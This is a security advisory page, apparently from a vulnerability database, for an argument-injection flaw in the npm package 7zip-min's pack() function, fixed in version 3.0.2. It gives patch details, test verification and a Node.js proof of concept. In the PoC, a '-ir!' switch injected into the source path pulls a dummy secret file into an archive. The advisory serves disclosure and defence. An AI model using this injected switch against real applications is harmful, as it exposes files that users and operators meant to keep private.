GHSA-w62c-p8c7-w6f7: 
JavaScript Analyse et atténuation de la vulnérabilité

Summary

7zip-min versions 0.0.1 through 3.0.1 contain an argument-injection vulnerability in pack(). A caller-supplied source path beginning with a 7-Zip switch can be interpreted as an instruction rather than a filesystem path. An attacker who controls that argument can cause unintended files readable by the 7za process to be included in the output archive. This results in information disclosure when the application makes the archive available to the attacker.

Details

The vulnerable argument construction is present in every tagged release from 0.0.1 through 3.0.1. The implementation is in index.js in earlier releases and src/index.js in 3.0.x. pack() passes the output archive and source path directly to 7za without an end-of-options delimiter: ['a', pathToArch, pathToSrc] A source argument beginning with "-ir!" is interpreted as a recursive include switch. Because the command also contains a valid output archive path, 7za can complete the operation and include the file selected by the injected switch. In 3.0.1, unpack() and list() also pass their archive paths without the delimiter. unpackSome() protects its file selectors with "--", but leaves its archive-path argument before the delimiter. This is argument injection (CWE-88). The library uses spawn() with an argument array. The demonstrated issue does not involve shell command injection or establish remote code execution. Related hardening: During review, the bundled 7za 16.02 was also found to interpret @file arguments as local file lists even after "--". Empty source paths and empty extraction selectors can select more files than intended. The patch addresses these cases alongside the reported switch injection. The patch:

  • Places positional arguments after "--".
  • Prevents unintended @file interpretation while preserving literal filenames and supported extraction patterns.
  • Rejects empty or non-string required paths and extraction selectors before launching 7za.
  • Preserves existing support for empty optional destinations, which mean the current directory. Verification: The reported issue was reproduced on 3.0.1 with bundled 7za 16.02. All 24 release tags, from 0.0.1 through 3.0.1, were inspected and contain the vulnerable pack() argument construction. Earlier releases were verified through source inspection rather than individual runtime reproductions. All 40 tests passed locally on macOS. On November 16, 2026, the existing CI workflow was also run in a separate private repository against commit 92f4d2e37b1ab314e1859829816b9bca4ce8b443, matching the security PR. All 16 CI jobs passed, with all 40 tests passing in each job:
  • Linux, macOS, and Windows: Node.js 18, 20, 22, and 24.
  • Linux additionally: Node.js 10, 12, 14, and 16. The CI tests exercised the library through Node.js using the bundled 7za binaries, including end-to-end Windows execution through spawn(). The reporter reviewed PR #1 and independently verified the patched library on Linux with bundled 7za 16.02. Across three runs per case, the injection succeeded on unpatched 3.0.1, was blocked by the patched branch, and normal packing succeeded. The reporter also tested the vulnerable and patched argument forms using bundled Windows 7za.exe 19.00 x64, running as a Windows process. Across three runs per case, the original argument form included the canary, the patched form blocked it, and normal packing succeeded. The reporter's Windows checks exercised the executable directly rather than Node.js spawn(). End-to-end Windows verification through the library was subsequently completed by the CI matrix described above. Fixed in 7zip-min 3.0.2. Users of affected versions should upgrade to 3.0.2 or later.

Proof of concept

In an empty directory, install the affected version:

npm init -y
npm install 7zip-min@3.0.1

Save the following as poc.cjs and run node poc.cjs. The script creates only dummy files and removes its temporary directory afterward.

const fs = require('fs');
const os = require('os');
const path = require('path');
const sevenZip = require('7zip-min');
(async () => {
  const dir = fs.mkdtempSync(path.join(os.tmpdir(), '7zip-canary-'));
  try {
    const normal = path.join(dir, 'normal.txt');
    const secret = path.join(dir, 'CANARY_SECRET.txt');
    const controlArchive = path.join(dir, 'control.7z');
    const attackArchive = path.join(dir, 'attack.7z');
    fs.writeFileSync(normal, 'NORMAL FILE');
    fs.writeFileSync(secret, 'TEST SECRET - NOT REAL DATA');
    await sevenZip.pack(normal, controlArchive);
    await sevenZip.pack('-ir!' + secret, attackArchive);
    const control = await sevenZip.list(controlArchive);
    const attack = await sevenZip.list(attackArchive);
    console.log('[CONTROL]', control.map(x => x.name));
    console.log('[ATTACK]', attack.map(x => x.name));
    console.log(
      'RESULT:',
      attack.some(x => x.name.includes('CANARY_SECRET.txt'))
        ? 'VULNERABLE - CANARY INCLUDED'
        : 'NOT REPRODUCED'
    );
  } finally {
    fs.rmSync(dir, { recursive: true, force: true });
  }
})().catch(err => {
  console.error(err);
  process.exitCode = 1;
});

Observed on 7zip-min 3.0.1 with bundled 7za 16.02:

[CONTROL] [ 'normal.txt' ]
[ATTACK] [ 'CANARY_SECRET.txt' ]
RESULT: VULNERABLE - CANARY INCLUDED

The control archive contains only the normal file. The attack archive contains the dummy secret selected through the injected include switch. With the fix, the injected source is treated as a nonexistent literal path and the operation fails without including the canary.

Impact

Applications are exposed to information disclosure when they pass an attacker-controlled source argument to pack() and allow the attacker to retrieve the resulting archive. The injected include switch can select files readable by the 7za process. Actual exposure depends on application input validation, process filesystem permissions, and access to the output archive. The provisional CVSS v3.1 score is 7.5 (High): CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N This score assumes a network-accessible application permits an unauthenticated attacker to control the source argument and retrieve the archive. It does not imply that every application using 7zip-min has that exposure. The demonstrated impact is confidentiality loss. Remote code execution has not been demonstrated.


Source: NVD

Connexe JavaScript Vulnérabilités :

CVE ID

Gravité

Partition

Technologies

Nom du composant

Exploit CISA KEV

A corrigé

Date de publication

GHSA-w62c-p8c7-w6f7HIGH7.5
  • JavaScript logoJavaScript
  • 7zip-min
NonOuiNov 17, 2026
GHSA-w59v-r97h-g2c7MEDIUM5.3
  • JavaScript logoJavaScript
  • @appium/support
NonOuiNov 17, 2026
GHSA-4fx6-3h3f-fh66LOW3.4
  • JavaScript logoJavaScript
  • @intlify/core
NonOuiNov 17, 2026
GHSA-c24w-mgfj-c8p8CRITICALN/A
  • JavaScript logoJavaScript
  • @twzrd1111/agent-killswitch
NonOuiNov 17, 2026
GHSA-3v2v-wcw4-25q9MEDIUMN/A
  • JavaScript logoJavaScript
  • twzrd-x402-gate
NonOuiNov 17, 2026

Évaluation gratuite des vulnérabilités

Évaluez votre posture de sécurité cloud

Évaluez vos pratiques de sécurité cloud dans 9 domaines de sécurité afin d’évaluer votre niveau de risque et d’identifier les lacunes dans vos défenses.

Évaluation de la demande

Ressources Wiz supplémentaires

Obtenez une démo personnalisée

Prêt(e) à voir Wiz en action ?

"La meilleure expérience utilisateur que j’ai jamais vue, offre une visibilité totale sur les workloads cloud."
David EstlickRSSI
"Wiz fournit une interface unique pour voir ce qui se passe dans nos environnements cloud."
Adam FletcherChef du service de sécurité
"Nous savons que si Wiz identifie quelque chose comme critique, c’est qu’il l’est réellement."
Greg PoniatowskiResponsable de la gestion des menaces et des vulnérabilités